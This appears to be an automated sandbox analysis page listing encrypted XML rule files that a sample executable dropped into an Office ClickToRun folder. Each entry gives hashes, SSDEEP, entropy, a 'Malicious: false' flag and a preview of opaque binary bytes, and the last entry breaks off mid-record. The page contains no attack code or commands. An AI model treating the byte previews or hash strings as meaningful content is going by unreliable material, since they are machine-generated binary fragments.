SHA-256:	7D5A772761B3A1997E88B4A6FF59FD5EBA3B221E4C7BBF63F80C8DCB963D85CE
SHA-512:	BE0AA5C89AA241553852B6A83D8FABF373D9252B0F4A2C6173A8D6441AF7859766E29819BC2AB32D39F770111D35D402E7D9878E8886E4F39D5193D424DB707D
Malicious:	false
Preview:	.<?U...T...%Qp.Q...L.......u.V.....'.M.._M..1.g....v......`.w]N=.r..-..es..RL..+.1i.t=...D.B0U~e>mC....3[l....U...d..K..S.. ...e%&...H....41#.O.....0c".....z.I..5..T/g./{#...K........;$m="^....Qp.....F~.>.I.k.. ....RL...(.)..T..o8..C.u..iq........Q.q..<...o....=Pr.9.m..a.~..,.=...&..y....w%c.QYi)0.-z....Q.+....o.y..H..!<t..X......E..P.B.......V.y..).Y%z.N..H.H...N.4z.V.u.5+L}..pK.=....../.>.._.c.,9u%.D+r..M".]\....m..L........y..}.1V......c;...-%..7....K..G....8.F.c-..@.g!..}....H..=.)3DxQ..o.....gR..y...i.Q..e.xF%.GYYu@....qDr8......EL...._.`.lE.k....._4.`Z+.Vt.~...-.A...-......&.Z..yj....p.o.SB....Y....,.a^.;m....a.}....\|...e.].0M..}...........LB..?.LA...M`Z ..S..3g..^.d.8....<`A7)q4Ls..=..t....`..tED....:.$...W..t.<.N..~C]......x.=.r....../_.y..#D......`..X.7....`.......e0.[wL...}...#z.L.am{5U./p.lM....^..m..i....O:...-R..."..}...L..>k..w"..w.O\..o..l........f..........A..>n....-...tE~d&p.!>8.w"w1J....'.{.....-+..e...:Y.._gE8.d.OX....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703800v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1716
Entropy (8bit):	7.878846865805003
Encrypted:	false
SSDEEP:	48:iX1rZBqlS4GpPdy1c8tRehe1VEgKnTlKtd2/PZD:YRZBoS4QA1c8ihsVEgqhKP6PR
MD5:	A671B86A76188C0C20C864BE02C6ED26
SHA1:	848874F399C690523504C86CBDD545626619CF9B
SHA-256:	501430A8FA4B43E01631FA31EAB943FE0096CCCA6BCB5518CE8FA1A8B575993A
SHA-512:	2C1A10079C404FCE9F23901C8D885EE9E23E3DEF83A3336D8A9D531989BECD3FAB76C51AA56E45251071D02B0407B888519F681542D55808040FD335B93E07C1
Malicious:	false
Preview:	.<?f6....(7.>....(&..a...nW...K.L.+.$..8..0....'.X6RE\.S}.7t...+.. v90...j.G.fm........c.C,....X..\..DF...o.:. ...qm1?.6{..W......_3..4..h..:..QJ....=....6.oSY.....k.1...c!.n.......%.e...8..,.....>=y..(..J...d.Z..d.&\|.).~x. ....n#..T..k.7 k8R...... ..).....c.7Q%.]_.3..W....<.E....v.a.Ac..L.[B..)..C.....X.P2....#h..%..+..n..[c...^E.=. =T.>r....#.\}g.......BZ?h.a.U....:6..>..`5..=..#......D.z...v............jbU.D=V..#\|9....I ..S...."..0.(S.(.r.s.<`[i..'8..6...*.]....../^....HI..s.g..D...%h....\|p..v\aO. .V d..u."....ft....j`...y.eu.....qE....Vk.+..n..J.3..]..v..8J.8}2....t.{.....M...m..\...\|......`....v.c....8.!."w.M..=2."...D..z>.Em.=i...+=.....".....;..>..9.....?P..j.Y7Bg9......F!.3.5....N.-...e\o...4:K.PD![..y..J2.v.Rg.W.f.y..}t..vce...B.9.r...,.p....0T$x....1.Vg.......s.%..........)N..:.^.Z.....4...."....T...._J...\.3o.~........2Bs..W..6.ew..>..lX..P.V\.....4.e.p..t./....;.#.....gl\|.D....5.%[.............E..h..O.z.X.f.. .j.G..0x.X!$..!....4.z..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703801v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	7.8792825677571185
Encrypted:	false
SSDEEP:	48:PanMU3FN1kf0pgJw88GZsyG9/gDcraW+HwEODD:PaNz+q3OsPocaWQXOP
MD5:	3A90C071E1AF464A3E0F2406617D6C00
SHA1:	970FD7FCF4571F002FB8F371FF7A8A47078BD1AB
SHA-256:	A3B4AF1662783B90AF945F92771FF05591530752BC753691C6F244869884C7F7
SHA-512:	F664501E1827A11E29217688E29EEE5851D3E376859D42916311A287FA63DF76600C73B1AFDA4D3D004A7022E6355FC0A127F19411BC36A207D0EDF52560BFA0
Malicious:	false
Preview:	.<?.i7?.a.$.u.-V.g..bwq.Bzav....I#.ay3.\.DW.3..q&R.-.:.........,.0.5...@D.41..J.m...H,.....^...Ca;._.%9R._....bz.Q.u.,.9..?...y.`$.\|.1.C.....e..+...eR.b...T.w....PB..h.cv..jE.H.-.C,..,.....n..~..Z...../>........k.Pd.yY..p..N"..UdR..\|..&pKXHB.w..&..O.K.a.p.....l....-.......T.rm..\@.....3...(.C.;....x.F!l5CPC.[3Pg.\|.. _..j._...2...P........:\mW........ww..u_M..8p\|..)Lms..$..c..}...-.R.}. ..2.Y..G..r..}.N}...E.q^.@..#=.M.;.k....z....../.{._F......M.o.....1./.MFt..{.....VT.(.:...M.....Kb.R.. ..,).y.?......D.GJ..{.$H6.3c.5..{.J9.Wq.2....f@(...6...A.j..K\|....31i....d.J....o.w1h.(...j\|>7T.......1...].)..!.L...\.tf.-..o...T..j..&l.)..............M7.Q;%.+R...{...+.z)...T]..3.3.H@...z(...(......2...y.X..P.{l3.74}?...cH.....n~..D. ...4..\|.."_{.\..M9f...S6..s.Ne...z....;3..?..=I...T...........~k...........l.B..Sr....Dzz:..{7.u[.>..."..zBA..B%..Y.r.p...7 .#q..B.......7...........2.^.......f.....V....-u....rlN..Z-.A.#\..8...JX..Q.da

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703850v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1739
Entropy (8bit):	7.876002130249553
Encrypted:	false
SSDEEP:	48:/ewM6XMDdg4x6/y4bgtJKEWotZifyIWXEJAALD:/eaMDO4x2PbU0UIyYAAn
MD5:	4FCD30180341702695D7D4C8CEFF3F65
SHA1:	321D2B260165797A0DDA264C0E5417515435AEEF
SHA-256:	BC95B9556B2276BA2CE0015810E47FE775C3E962AB05E0A0933AFBC4F5FDED0F
SHA-512:	FC110FFCA7547F60BD68D939964E1CF493A8123E68E3BAD47FAD32BAEA8D8E409E38B2C46A86C727DADE78CB5F233C5997FD7D175FF02BB850FAB32E43B4578B
Malicious:	false
Preview:	.<?P..w...nV..A6..(..q...A.D.I.l.%-j....{x.F.qX.L..{...T#Ka...s.q@.....b(.@.......9...N-O.A..9a..I......d....+J.5./Y..F.....2B\|...........4H.#.O...K.}.......E..]].8...3.@Zg....g.O.MT.I.w..7.yV.....L.a...U..s.u......w..r.l]x.i..g.t1.V...0.v..r.w6I.&.P..A.QB..J;..j.V..u.E..U.7..sG..k_.......w..Wa...)..w..2.J..^V0..'puo-......H..V...!<.es...-...X:U.lA...w...(...\|..t5.....A...r...]..L.g.4.K...p.!.6..WO#a...,.}....B...Qf!......].6..=..:..%...._Y;e...ud..c.9..-&..=i.G.'..g..<..........Y.e...QD.;iL.t.../.@;d,Ip..yb.#.&..Y...s....&.@.....n[..........4.R.sf;a+as.Ci.YL.....AL...H..8.)H.\.).G.U..{..qA.Q=".. .B.8............N..H..50.Dv.P...3.{...l.J.....D.....}.......;..!........;P...l.a.3...f.3.B.7lJ.)...-Lxj.._.b..Y.:~@..y^)..U*_.6...U...s.7.......p......z.b..K..Z....T.'..S...lq.i.q..D.~.......X.Bn~`...qw..W.D..j)....3....._.~.8...7wR.....$..A....]...R..V..sq7./-.."...a..)..b}...f....2.b.)....h0..HB...X...J...X....j.T.x.^S}...!.QAq.is~.#I&.\.G

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703851v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1776
Entropy (8bit):	7.879465963878238
Encrypted:	false
SSDEEP:	48:4Oy7fDxoHVoeMGA1qfrk6i7ltwRMnWr6kCLfHLWaD:xyjDeu6i7PwRMnWrOLfHD
MD5:	41258D48A8798A504F69D44D3DE9CED9
SHA1:	44FDF38B533EC712D8ACDEE6ED34134D18F4091D
SHA-256:	2849761E9376F56410764F59EDAF826BB6B281C5515E0F2FCD9B3F4324073D59
SHA-512:	8ADB2CE5F996607754438479A7686BD2F1F5B65AC6B3FFDDB2F8A3DD77D6715B36DCAFC2924FA5BB0E1FAA658CBE29592169D952652224D289F297E5A8959812
Malicious:	false
Preview:	.<?.;.l1...oL.$.!R.m.n....r.[.>^...6.a2\|...).w.Wi..N.Ig.l..m.g3.7..@..&.7.[d..A.]k3K?..4..f.,.YP...'..Q.A...M.U..w..{~..Uf...[.......g.Y.\|.....[n7.2.[.QS.3\|..G....F........W.!...ibA.?..).......3.t.e...4..N..;$3.....CZ.y.\.=u..d<..D5.p.%.N.t...`.K.1q...-....G#.5.&L......=%O...o.3..z..9..B....k....p.U.s...S...'v....3..i.._..z.5..m.AC...cI...yMkB..0o........i..u@..@.$.d..c....7../eD.....z..I.....8.....^..D..bs.L.\..^Ss.....W~Xw.O.....c..)v<.S.b0..-<.L"l.?+.i.g\".X..S{.....d."].9.&W.<...B.a....%.......G^.`...c/...\|..DC.o.z..A..\u.`.0c...#.R..v.PxC.#..t'.. ......l.{. e.tV...eE.O..~z%y.9.3.D.>...6...+.d..2.M..+....J...,......(.<.w..{"..a....E;F.....-..r.~.\...h....^oN...o...Q6.Vw..5....i...5.9n{U\O.x..x....G..[Y...<9.Im.3_> C_.t...u.........Q....@...UswP8..{C,J$.CT..)"Z.)h..2~..p2JG.?..5Z..B...b..:=.t.c..r.h..X.wg....x..h(.n.k....U%..kN...h...&..j9...?%...d...?..go.Y...5.....{T.....B..D.....U.f..._.c.>.L+....`8k.7....~2....C..x.?.p!.`.....1d.+..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703900v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1724
Entropy (8bit):	7.886876396383705
Encrypted:	false
SSDEEP:	48:CqwXPsNzbrYAXZ/E5G9PDium92ap/ESqtXl6UD:X+sRg2REQPK2aFE7tXIA
MD5:	C8ED9EBA8C8C5EBD7DA56A699EED32D5
SHA1:	4B59797A87CDCF3BE0E1418627DBC9A19AAEB681
SHA-256:	471F85965D1B7097EB4E5E0F8D6AA5D22211FA58AFDA2653C617A3521F836B21
SHA-512:	6B543E6672228910151A3715D0FFEF66F8459E657DDDAAA923C0E2503C1C24C70A5488A64C7DA30FB28CC43B28DEE149BCF23C17F8815F1F25DECA220023233A
Malicious:	false
Preview:	.<?h.).2...M.T..~..B..3..{....Z..{.....8=...H..L.c..~~.{.^./K..'.s2..Z_..;..@.~..).x..o.k..}...#rBx.p.JaH...\..S.....^.v...m..h...PD2......2..<\se....'..e.t..@1..S..+E.N]...7)N........N.n....A.@r...."I.......^....M6a.yaj.....`-pm....b7......H....\.`>.h.;.NO.h[J..+.c.K\|`C.v...N...&.+.y..n5.......89K;.. 5e.....I.=..V..k.q...c=.F...X._4...sJGVB...'....@mk...............'4..4<..3..S.......&...:1.{........f.m.5.I`.I>.M....8...]....2.o.."..L..S4..........B.i.Y}.:+...]P....;C..m........_{.y.=.V.@.e...z.K..{.>&....q...+.p..u.....=..1.....m...j......../Q.A..1...^.......{..E`<....~.lL.:.R`.b...Xv..+.n.,2.R........;.5..8....x2...B5S.....=...<bQ....O.yi.gA...N....1.'p..W..C..su.E.o...N."... .]......QK...c./...r......'...J.^.....I.......9.9.5......?.-1i...U....... ....~..f...\|.;......x_.~.Z....d.U....<..w0b9.\|.=.8N~..+][..;.p[.N._i*?NV.......L;..\...9 ......1...Yjd.$.c}l.+.fve..[..S75-.D..D....KP.o..(.H.^s..,'0......H.i^.,]Q!r.(1.t..IiX.j.[.#..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703901v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1761
Entropy (8bit):	7.883915503688532
Encrypted:	false
SSDEEP:	48:+H9RCmGyBm/DnkLkpEcEmD2ZhCW7v0jJ88E4aSyl6D:+dRCmXskLkpVEy2F7eJ814N
MD5:	1AA8C8B4176E112255899073C90A0016
SHA1:	5353E88F51CCD18DDEC125FA731C5638A2817177
SHA-256:	23AC07F1078626F1FD43665E85DBDD9A14CF23980AFECB27CCBF9994FF95D298
SHA-512:	50138AEF9CB23A268DA3DBE6F11C308B50C87D33898AB7CADDA789A5B2350988DF4799E6BC16FC14FC17F27F8B9EA202032D8E013EAEB3115450FF230E790321
Malicious:	false
Preview:	.<?O..Q.A.. GW.U......E.3..1F..~.i.8A...1..@e..Rv.I....!..zS...e..7.q..9.&\..Q.3..n....<X.`."r.p.`)./^..B.......$>......s....,..8o.W+..p<G.G5.B@.:..1.f..6.P4..z.U..$.........:Y.?.....`.i..).-...#._...oQ.<$.%..".;bD%.?..izV..H...T4..WE..A5......b.....;...p....p.;..?..z..M_.R^..E3'<..5!...La.......e.4;.\..!....X.<..{.%.}i{..8.....k..o1.,K.h.sS..._....$ov ..h.5}...!.[.w.<s..k......q......R...Z=.......H......>j..c).oNj..c^.Ho...Z0B..Y...p7.g.Q..S5<G^$...&%.`.R 5._.iTT4.I.\.-.I...<&...[.Y%.8...8.W........@...Tn...EI......RI.&,.xt}.TH:..e..I(..@......w.\.>..1..sO.G/...NP.I.11..O.>N...M.){G.....hB,!.l%U.lc..!..C1..^H:...I..(.i.#..4.Q...7.g.v.g...x.....<~U.R:so ..6e...q...>w.c..q.......=y..x.[.7..f\|.>....>p~......u.'.?.]..i.S.J.$.].s.B.yX.W0.4.x/...i......z..t.,.fhY>N8.r8'..K.....ee...Wx..+..C.S.....1..DedM........5G._.Z5RJ....c_.?.~...n..[q ..,.u~F.D.Z.\...../.6W...{.(.FzE..AmK..b...N..`y.n..O.B.&&.k.s.0...Axb..7.&Z.M%k.A'..h...HK.9.1.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703950v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1700
Entropy (8bit):	7.86915525622257
Encrypted:	false
SSDEEP:	48:Y2jswPCBflBxcS9hkZcVejUyhvFgKxC+YIk/ElQqc6xmEBEDcyD:Y2FCBtnTgCgjPhvFg+H7Nc6x3Bla
MD5:	2F6D2B6FB76EB1953F42A3559014A252
SHA1:	64CA4066EC8CF991A0DDF673CF7A225C245779BA
SHA-256:	D3A525B8467352DC7F3ACC5534238FBA0E21798259C455B7AB6117BDEF429216
SHA-512:	93AE4A122A6572DA8EE1AFD7C2014CCE7CDB92EFB7A3CEF29A929D17635D36D075698F16B60C70BC621513C5CC81063C2435AB5B8CD8C6FA31D5BF5E96799986
Malicious:	false
Preview:	.<?.....Ui\|e..Dv.n6.......80A...wk....{.o...@..j.l.r.%...{(YD.L<...Jm...%....!..k....{gxQ'........_^..,...Y..M.....G5....t.....-{f.g6.P.g..Y...._..0=.....@....y...%..'.8sc...c.h;`N.-:cP..P.R.qF....R.m.y\8=.P..hv9.:.d.j...$'.V1e.....T...... .i.X!Z.M.S9U......4sjv..iE..k?.,...t..i...z.~..!.iH.z..0..W($cyPI..X.....9:.oQK.:.......s...EQ..9."..p..(..S{.[...y+.g..Ss..F..).d..Z......^.U.J.4.1O...Q.'...GT.~..=.c........3..E%.i...!....k....M..`..b.......,.R..cj.N....+.7v...tV......G....\|...0lCL.K..v.a..N..#..B8...I..%x%.!....{K..[.O...&.o...d.?4......X.8.A..%.@....Tx.3.O.&..o\|.IX.4...p.......WE...?..p.....Q...pA......r.s..{....C,.w..ed..+.v..%..+..Y..,...f<K...UvN.x.IT.E...<..C.g.+`.Gzz.]..^.8......y.w...G......x&....7.....<%)...;(.....qHD.C=m....o.)....Z.Eb.....eP..i...%.....<5z..v.d....=....[...-..5.:..i....F6..\...j.u.......pY_...E.Y.,,l".B.....\.{:.b@A......."..^.....- %...L...7.\.`N.X.F.?.+e...g3"..*!.5.h../H..$.~...~?t..J+....V;:z.Y.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703951v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1737
Entropy (8bit):	7.888577019256425
Encrypted:	false
SSDEEP:	48:NgbpJN/q/naOwVjZ6Mzx9SMvuOSTJ2LuIanKgGQmEjBmD:NgJNi/noX68vunJ0uIarGQmEd+
MD5:	743D8BFC147B7F9376B529EC514A21C7
SHA1:	FF8198B843054AE2D4547D16D29D0B7B1CBBAE0B
SHA-256:	FD627D7C06720DD6EDA2207C924CDEC279FB195CE83FA48490608AF797093C1D
SHA-512:	3AD5F425B60CC1D792A1A5D718842B47E624CAA42D0C071EC306CC9B0E0751A19E0923BC016FA1DD969E8287053F4508D44CDD325F1E1EF84F1FA840F6455EBF
Malicious:	false
Preview:	.<?..E..b....'....{..d.3..l%...'N.V.Q.@..9hYt=..t.....u....%%.J.V;g.`..^.#...n[E..B."...5...A..aG...:..t(kN.%./.L...V..`,....D.f..8>..%./.`....;..i.....(M...R.Je..>]..s...l...4:I.._...}.6...........G..l.5...H}..\|.....4Q.".F....#.Ds.E...X.....85...t..j.g...tw.-.8..Z.]..O.A.W.'..!n....d.V.".w....!..5.i.5Qw..F...k..%x.i....].7..+.....L.... .+....@.G......s......^..&S....o\..Kv.qrl(..BA.`XT.?.b..ka...f....X...O.R=.[n!.%\|.eKz..M.t...#%.....U..~.(,K.....>..R..Q.i.....4......1.... $.}b. .)Y...P.h7.l...r.=..$.Tw...9iDo..B.@..:..'..R.w.v.?.P.j....h...aI.D=l.8.\f..............$...E.avm...S>...#..G.A...l.S.9.W...7.......Gc..e.G].U.z..x_`..aK......wHw_......_Y.WT...#/......y..,p...L.+,I...._.c..K.&.tMqM.P........8M.m."..&`.U...(..\|..M...4.WG..2..2z..G!,.n......=. ,.F#wm....\).Q& 3t..j....O.RMb:~.;.4.........\..........\|...#.....h..22\|j.J.&kD.(.f?-.>p .2.j........!.......F.@.?.#,d`...V....J.m;......xf...Z...#+....8u..L=.. a..x.~...$....Ai...CE.......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule704000v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1716
Entropy (8bit):	7.881521318909053
Encrypted:	false
SSDEEP:	48:YXUdOV5IY03ssVTMcInCg4aFim8Q9fR4hj6oD:bd65ISsVTMcICWpJOj60
MD5:	FB3D9148468A6A1C56732DC27031C7AF
SHA1:	3567CF1E2BC5FF73B29A5C92BE62A5488F6C3395
SHA-256:	9A7FB3C017C17F227ACA88568DBD6DE8326D8C831306C3040F710C0500823CB8
SHA-512:	E8507F1175B12C625CF476CDD226C0128504674C38DB1D291C9FFD051E8A8764D35EEA295ACDBFC1117CD8030D9AD1841E364F804BBF6634E78B5FA34BD85BC0
Malicious:	false
Preview:	.<?H).........l.....:......a..P.)...].4...xW..!~w=.6.#..n.i.. ......>..ft.9........4._.......uTf.88......iB....;~6.......`.U.C....l....Q.].U:..gO)...O.9.:...._....Z.\A.\,d..TEH=;=...8.#....Nv8...0...B.fMR..vuBg...m......iY.xP..^.f.!.D..a.i...@..lk.......=yC....T.<[s`..U8...,x...t.....8...s.3.\#......b......\|<..~.:...g....%.[.zI3.......8..Fa.0H...h.Q.x8..(]P.9.,.......fY.cr..@..........n9..a.;5..r.y.v..9/.U].y[V.?..2.4.X4+.cy.....kW..R..m6_7..r.......~.^.^t5.c66.o...n1.....j.H..........1.E.pu.}....K.Ng.e.....m1..d-......{.................v..............W...L.I.. P.N..1.zsH.]ay/.\d..D.\.9..Kx,.F....<8..-&r....un.a..O`5c......S;..l~d....$.x..J6D..I...M..k8...#...^...9..._cw.....N`..e.p.X.~G.+U.e..M.1.qG`w#ThsLc81...k.q..f..z.....P....+.;.Y.mr....V...NAD....D....w....*;.Mv....>...Z..C1.t...>>...b.. ...!MmY..;..N...so..6.}..._.Y..t.'8./n.([CG.....R..p.v..i...N.!.@..+...+!.-\...LNHwj...:.7.;.K.....L.t.h..@O.o"U...x-.}.s..Gk....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule704001v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	7.896492374036846
Encrypted:	false
SSDEEP:	48:Uzk+cfsFkk2CXDkjTeleSH4WDlLUlxykjmhO4K/npHBD:U8UFuCXDkjToThDqlxykjb4KL
MD5:	6B0EB329DBF86A1F179395028FE961D6
SHA1:	58D6044D311DAEF5B59337D1060A13F755E40EAC
SHA-256:	A05870F57E9DB510CD2930BF0F0E96B684D60BFF91A0D2996FEE262339DD0DE6
SHA-512:	99FC45B8F214D32F00EF934D8EB2B8D1CF79A2E2ADFF276C1603B32348735972B3F49D5CFAFCCB67680722016BDA1B3500C4D00208FDF93736794656CACA6A31
Malicious:	false
Preview:	.<?....`r.....D...K...........^E..h...EU........^K...P.A..~....AJ....V...@o.dz..!.o.co.w..}..ik......5.....5..ix..a.^."Y...q...Z...nV.......z..Ap0..p+M..@c8..Gb8..F..LR..1...3".R0..\|..4i.s2..+#7...i.......x..YV..HT.q$...R...W4...!}....'...(6..e...Ie..tF.e...h....M..o..S..A.....n.,....."...R.......s...o....$.,TB...-].x.(.0f.....F......s..+.~i.u-..F..}.g6..H4....%........h...N...\|......t..i\oR.....#<....l2..0.fUe[:..h.a.....".G..}.I..-M.`._ A..%xK.k.j....4b!.qQ............&..V<..UT..EOEG.UY...s..B0.NX7.`.R..x...p....6.....E.....9y.f.z.M.@.w..G..) W..8r.\|..T.G%.J&...iu.h...fEF.Vf4.9.}M.j.#.>....+...>0s.K..\|.....)SA....\|.?n..l../.J&z................Jj.........u.y..4.m..c..J...{...r.5.9..u..c..?B...<..t.m3a..m."...9..0[.`...^.!J.Lh...}......b......z.2........oI...j.+H.".H...v.\.......O.3...>....S....u..2..6..{w./.Z....... i.....8.r...>k...m..Ij.$8u.q...t.?B~.x...G..`Vw..T.J...Y..r.K.....#..r.IKG<........{G......uM..h.H...]U.....V......_

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule704050v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1690
Entropy (8bit):	7.869124597266124
Encrypted:	false
SSDEEP:	48:J9QkHBuIIpWsM4d0MbllEv9eLq8XggDbMUBE0PW5eMgwn06bSVyaD:J9LBL7sZrL+E/BE+W5T/06bSVyy
MD5:	63607961876D33207BAA7789A1D31CC8
SHA1:	0B2D1DDCB192BDB07BF1CF5521C1A1608E4FA3EE
SHA-256:	8A74E4F21039F1F810072E71377896B5E0BD0456166CF7C54C5319257FA1B51F
SHA-512:	4B34E599EF6EFA49AD7FACB9E2F8374F877E54490CF236A3D35D565CBB4AE384CBD38F5A853919777E3265C606DD8E81BF6B9F5026D9E578122DF58E3FE46FA2
Malicious:	false
Preview:	.<?.Pu......=.%.O......H..)..C.V.._P....OF.Vn.f......n.........d..w.......}.'R=.TC...e\|......3...qu~..G.....;I..V.a1KdC...k.5.\.....Z..-...h..f}.qY/3v.?pl.cMn}...<.....Mi.C.(..Vv...........{...X.i......F....tqN.Q...P ....N+.y.W.(1.}jmBjLK\.@.P....$..uj..7..4@.-...> .C...R.......N.....l5.$..I..9_...Z.L..U..B......Z.{..&.C[..0..{.:.w.p.+..P7.+..Z..4.R}&....L..}.z.Cz..............q..C...-.@OV4....z3V.GwoDa..QY..........I...........}k.u-h.....x.X...D`.v.8:.x.A'.....0R2..nE.s.!.....6.....0PE....#.R.:4.Z.=k....i.RgO..j.{..Mx..@...~..ok..um.\|..A.........E(C.v"`:..]..................p....@..[PM.[.5R4O.g.@.B<s..)..l..E..gsy.kC...S'..k.:...O<.V0....f..Q...\|6.WLF.@.e.o#+..Z.6.+..;}..8...3.....`.....:.?....[.....`.F.>..`.b..P1^...b.n.....f.[&.j...u,9...a{Y...0t...3.*.........z%..d9@.v#.:t..pS..:.i...~P.d..........Tp.PQc.~.?O......+,.x...l.k......P.,?..D......e=T:..Zr...`..W0.....V.z.......oB...`.._.keci.U{>....%......aRF..wT......p...Z....Y..V+.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule704051v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1727
Entropy (8bit):	7.891711974736961
Encrypted:	false
SSDEEP:	48:+3jsnw3AAeyv6JShVHXXMTPjAId9+qkGBYQbMmD:Oje/AfySbXXMTPcVnOM+
MD5:	77DD6070E4B714554CD92679CEC2AE11
SHA1:	7CEFA785405B43028CACB16A596E06AB04C1FED0
SHA-256:	DED03F2384F9AAD5F393D6A6B7A1B7CA70E2793635F5DEA557CE6665DED88AC2
SHA-512:	573E68DF5B6594715B2D97CCE2D091DF1F24042CD332D96D25D8C04D1F5D3DBCBDE1DF8E6C55AF0694A50AF5064D02E34C4C1B1D544DF1D9B96B53060E77C785
Malicious:	false
Preview:	.<?...j...k..Tf..!.cN.?=.\=..w..= ...x.#.\|..%.......Z(.\7........+..>.W.WzDV......{b..s. ..V...@...]M..}..$6.........#...;[..@.8.K......?XS....W...+.i.i..)s.....5....[..;.......<Nr..../._.aS.../...............T...(.{6<j.67=......Vb,P.....v.... .\|9".]..`].....SAy...K....q.......<...-.....k..v.{..M...Lq..z...\....3..:.%..ap08'..5W...$9.......i..4&.y..R.^...P..3'3.5B.U..X..\|17...I.`I..{.......8.b..t.YZ.f..........?...z!"..K.......k.q^..j.s....o.4z...:........,.Z...b.....2.8...q.P.oi&...".<@,....!...w`X..Rdl.....z...aj.....T.U5=....$..S/......5l....S6b8-&........?.}:..j....4'8...:.K..To.a. ...w[_G...u._c6...........X...+a..\.}O.1D.yDc6<......Nd.xO.`'..b....,..:X-...4N8rT.9...K).....?..L.?+........Wb\.......)^6.G.\|.?.M.....W....K..aN.....gD2GsA...6..1....1.....).[&.......# E2..B..K.w7t..^.{...........y......5..HF.i..H.A..^8......6o...1.R.BNy....;..%...n^".......l.e}.3.. %...e.C?....\|..-L2v..s;.g.l..'....9......p.....HDv....C.].....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule704100v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1696
Entropy (8bit):	7.901961895789027
Encrypted:	false
SSDEEP:	48:EBgDP6MdtG21vgDnTfmMP3Bgaz/ETtZlo7IKBDpdYD:EBc6aYMCBggMzbKBDpy
MD5:	072466313FA5185F44E3DEF05CE9AEEB
SHA1:	F1A434E8EF3E4387FF4074B78E1F75D005553110
SHA-256:	8197C7EE75F9C95A27683DDE25584C28EB64AFD3EE70619967E6E001696E53F0
SHA-512:	1D7A50B8D1CF8A751FFB6BEC637BEEF7D56544ECC60DF008884C7BE47C1DB89DEA9152C2B6C42AED863500C4F475478C2B79FDF52FEFF8D89B51E33813682F75
Malicious:	false
Preview:	.<?......E.g..QS.......z.s.k.x...3.Zv&..-.....TqV..~.GNH.1....(....#..]N.....9........<.W...........p.L.?g.?{.oH<....Y....]......Q..Y.[..A..",p.....#.9..../e..U.dlq....z.5....I...\|.T......!.Y...f.y%...]...I..by=\|.f..).K..8....,..>..g..............)>@\|}....$.....F....".0t.5...3.@H..1....:.}.O.WcM.0..uw..,),...g..u....(n.o........9y.E...q..L...l.c...R.B...+.U.....V...;..7.H."b^-...S'..w.K.....#n{y....'.....Gy.<...5c...=.9........C$....p........9kS.i/...<\|.....+.e[<......9.^..3XC...G..>3l.".j%+..Y.\I..'.2v.H.........}t.....e...h...7.k..C...'@..[.Y.+@.=BF.......R...5...k..vj+<Z..7G..D..-(.e.ULT.v..Q..<.k4=....I.U...r4.....<...gJ.......?.n..{.b..r]..i.f.=..a.>...aKf..<"..G...!X.....:M!n....h.qNo...I.~z..]}.)A.......A..(d..8N...u..a.Lz.Pn.+..=.%..j..'..{[...M..\|.I..G.\|KwWl.....`/$X...U...o....[)z........Ih!w(?..8.m.G0.PHG=..e.....g.W...'.b....a.....i2....)'..V.n[.I...W....i..F..8.......\|..[:hj.......!...O,.x%8..m..Y&.M.x.r

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule704101v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1733
Entropy (8bit):	7.89178898219484
Encrypted:	false
SSDEEP:	48:0mudKJ6RrZzYZPrtKSMABEe9afiFa1qZoQwD:0mkhz0Pj2szZ8
MD5:	25036AF1F143D2FD1224BD44D24300A6
SHA1:	4D7AB0AB34043E74245FA8C31D5CF4F68E8E48E0
SHA-256:	207867549FB7F0F9F666604A943D441F8BB7342EBFFFD57AA56C90D8A13B2F6D
